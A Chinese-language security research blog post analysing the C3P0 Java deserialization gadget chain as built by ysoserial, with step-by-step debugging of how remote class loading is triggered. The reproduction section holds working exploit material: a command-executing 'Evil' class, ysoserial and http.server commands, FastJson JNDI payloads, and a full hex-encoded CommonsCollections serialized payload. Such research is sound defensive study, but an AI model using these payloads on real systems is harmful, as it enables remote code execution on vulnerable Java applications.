C3p0链条分析
date
Jun 7, 2022
slug
c3p0-analyse
status
Published
tags
Java安全
安全研究
summary
继续填坑罢了
type
Post
环境配置
这里的环境依赖可以参考YSO里面的标注
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Ffef6c635-be2e-484a-a3bd-0806ee4c36bb%2FUntitled.png%3Fid%3D670de530-478a-45a7-b7b5-ad25265d79f4%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DQe-WrdLNrxx-UV93EWnnqSevCOwxSy8xPvMsCnU0H70?table=block&id=670de530-478a-45a7-b7b5-ad25265d79f4&cache=v2)
看注释看起来是个JNDI注入,链条比较短可以静态看一下,看来不出网的情况下不太好用,但是后面动态调试的时候发现最后的sink点并不是JNDI。。
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F8b2800ca-9c40-41f9-95e0-f3dd50198e7d%2FUntitled.png%3Fid%3Dd47e2a03-b69f-4dfe-a05d-aa7c1391be90%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3Di4N5MhmDMjCT5D2wD289JwfjDpFKbfwR2H1151EnrkQ?table=block&id=d47e2a03-b69f-4dfe-a05d-aa7c1391be90&cache=v2)
可以看到两个依赖:
c3p0
版本 0.9.5.2
mchange-commons-java
版本 0.2.11
(C3P0的依赖包,maven加载c3p0会自动加载该包)整个Maven依赖上去就行了,记得重新加载一下不然的话会出现一些乱七八糟的错误
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
整一个反序列化的点:
import org.junit.Test;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class C3p0 {
@Test
public void test() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser"));
ois.readObject();
}
}
动态调试
在注释里面的那几个函数打个断点,调用的流程就很清楚了
在
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject
里面获取到com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialize
实例化的对象然后执行getObject
方法,这个方法里面就开始初始化一些上下文操作,值得注意的是,并不是在这个getObject
函数里面触发的JNDI的lookup请求,此时的contextName
变量是null
,根本不会进到这个分支里面![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F8db37abf-6a77-47ed-affb-ca82c4010126%2FUntitled.png%3Fid%3Dac16c71c-f1d4-42db-bfe0-a4f9f6a6092e%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3D5o1VIdhWXd55F5e3HoZuujTZfoNuKe92vFO7wV0THJc?table=block&id=ac16c71c-f1d4-42db-bfe0-a4f9f6a6092e&cache=v2)
真正触发的点应该是在
ReferenceableUtils.referenceToObject
这个函数里面可以很清楚地看到在这个函数里面获取远程需要加载的恶意类名,以及地址,然后通过
URLClassLoader
加载类,然后通过Class.forName
和newInstance
进行初始化操作触发的反序列化![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F1da66584-2a52-48d5-b129-52fd66e4e5cd%2FUntitled.png%3Fid%3Dc3b83af2-84fe-4c45-a368-328710c21937%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DwxH-mCJTh3nt0fbxcyT6Jdhg0vCSk5kTRT_1Z70-Zh0?table=block&id=c3b83af2-84fe-4c45-a368-328710c21937&cache=v2)
那这个不出网场景下又怎么利用了,利用EL表达式,在这篇文章里面有提及到:
可以参考一下,反正就是高版本JDK下的JNDI绕过罢了
YSO里面怎么生成
其实根据上面的流程也能大概了解需要封装的类有哪些,还是动态调试一下,训练一下自己的debug技能,学习别人是怎么生成的,添加好相关的argument就可以调试了
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fc4360a1a-87df-436b-8f14-fa8d464ebb64%2FUntitled.png%3Fid%3D69f064dc-6e11-4980-b380-c996e6808768%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3D_3Two9367XtOhOySNweRftWiwQPCRpK-eelYZ-kBogE?table=block&id=69f064dc-6e11-4980-b380-c996e6808768&cache=v2)
在getObject函数处分割字符串,获得对应的地址以及类
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fa3651984-2fe2-461f-a594-149ba0a488ee%2FUntitled.png%3Fid%3D878e77bf-4006-49de-961c-c8a5d73e4c0a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DU11ca2UhAlXbjsmqBnNUOMPcj_vm3YoTZmqX4hW7CHc?table=block&id=878e77bf-4006-49de-961c-c8a5d73e4c0a&cache=v2)
然后通过反射获得
PoolBackedDataSource
的实例PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
然后通过反射去设置
connectionPoolDataSource
属性,这个属性设置了一个PoolSource
对象,到这里可以回顾一下之前,因为之前的反序列化的时候是ReferenceSerialized
这个类,但是这里全然没有提及,搞不懂YSO作者又在操作啥了。。。。Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
这个
PoolSource
很奇怪的一点就是不存在Serializable
接口,本质上序列化的时候会出错,但是却没有出错,在我继续往下跟的时候,来到调用到PoolBackedDataSourceBase
类下的writeObject
可以发现在这个类里面的
writeObject
是确实抛出了异常,但是抛出了异常的同时跳入到了com.mchange.v2.naming.ReferenceIndirector#indirectForm
函数![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fd878dada-6865-4644-bc60-1d515b93d48a%2FUntitled.png%3Fid%3Dbc9a0607-244a-4a6f-9b8c-75e4e3ec93c0%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DMxU5h5nFGTsJdZU8fuFyAOplWKCnd7nM6LWeQEi33Sw?table=block&id=bc9a0607-244a-4a6f-9b8c-75e4e3ec93c0&cache=v2)
在
com.mchange.v2.naming.ReferenceIndirector#indirectForm
函数中又恰好完成了ReferenceSerialized
类的初始化操作,完成了整个链条的初始化,整个构造流程极为精妙![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F6656f84e-e732-43e5-9226-1bae36e3f2f5%2FUntitled.png%3Fid%3D129baddd-8b82-4a44-b593-f069d25123d4%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DnDOlIj-u2OVHmqxKdtrACNj8WhVqVXtmgBKBEQvcL7c?table=block&id=129baddd-8b82-4a44-b593-f069d25123d4&cache=v2)
复现流程
编译一个恶意类:
import java.io.IOException;
public class Evil {
public Evil() {
}
static {
String[] commands = new String[]{"bash", "-c", "open -a calculator.app"};
try {
Runtime.getRuntime().exec(commands);
} catch (IOException var2) {
throw new RuntimeException(var2);
}
}
}
在编译好的文件的同一个目录下启动一个Web服务:
python -m http.server 9091
然后YSO生成一个POC
java -jar ysoserial-master-d367e379d9-1.jar C3P0 "http://0.0.0.0:9091/:Evil" > poc.ser
使用测试demo触发这个poc文件
还是得注意一下,不要将编译好的恶意类文件存放在跟执行反序列化操作的一个文件夹下,不然会直接加载本地的class文件,而不会去直接加载远程的恶意文件,导致没有触发远程加载类的效果
FastJson场景下C3p0相关的payload
出网场景:
直接触发JNDI:
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Calc\", \"loginTimeout\":0}";
JSON.parse(payload);
}
因为触发的事JNDI,所以直接断点打在
javax.naming.InitialContext#lookup(java.lang.String)
看调用栈,关注c3p0自身的内容![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F79198127-9886-4db4-b1b2-8374024c6da1%2FUntitled.png%3Fid%3Dae025a65-ac10-4719-a5c4-ef01439fd513%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DDmtFcbipIZLXZN05TnQMilDrcxszfLmbXs6nvBriMRM?table=block&id=ae025a65-ac10-4719-a5c4-ef01439fd513&cache=v2)
关键就是进入了
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout
调用了这个setter函数,这个函数里面存在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner
的调用,最后调用了JNDI![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb2f4315b-4c48-4cff-8787-f7004a0bcc11%2FUntitled.png%3Fid%3D8cc7a634-0404-4a15-9f7b-c656a35a957f%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DolI9jT84qqje-571bJexnfm0vhGi4gJes7Y43pHlsCI?table=block&id=8cc7a634-0404-4a15-9f7b-c656a35a957f&cache=v2)
不出网场景:
这也是一个很好的反序列化点了,触发的反序列化操作
public static void main(String[] args) {
String hexString = "ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400166F70656E202D612063616C63756C61746F722E617070740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878";
String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
System.out.println(poc);
JSON.parseObject(poc);
}
在这个函数
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
进入,最后会在com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray
进行原生的反序列化,达到攻击效果![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F4761a37c-d705-48ba-afc4-1f31bd678058%2FUntitled.png%3Fid%3Dfeedd454-41f5-412e-bff6-7ccbc89250e2%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DjiID1jfc7u0C2sg1nrksTSU0UL58o7ouoWBlKKK_9jo?table=block&id=feedd454-41f5-412e-bff6-7ccbc89250e2&cache=v2)
函数的调用栈
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fd14b0aae-e5d4-4cee-a4fb-f9649d2b70a9%2FUntitled.png%3Fid%3D35c2f426-8feb-4150-badd-4e86d64f65d0%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722146400000%26signature%3DByIlkI1CDXihf4RgQOfbH3o4Lo5NcjGbsLBYfCy73yc?table=block&id=35c2f426-8feb-4150-badd-4e86d64f65d0&cache=v2)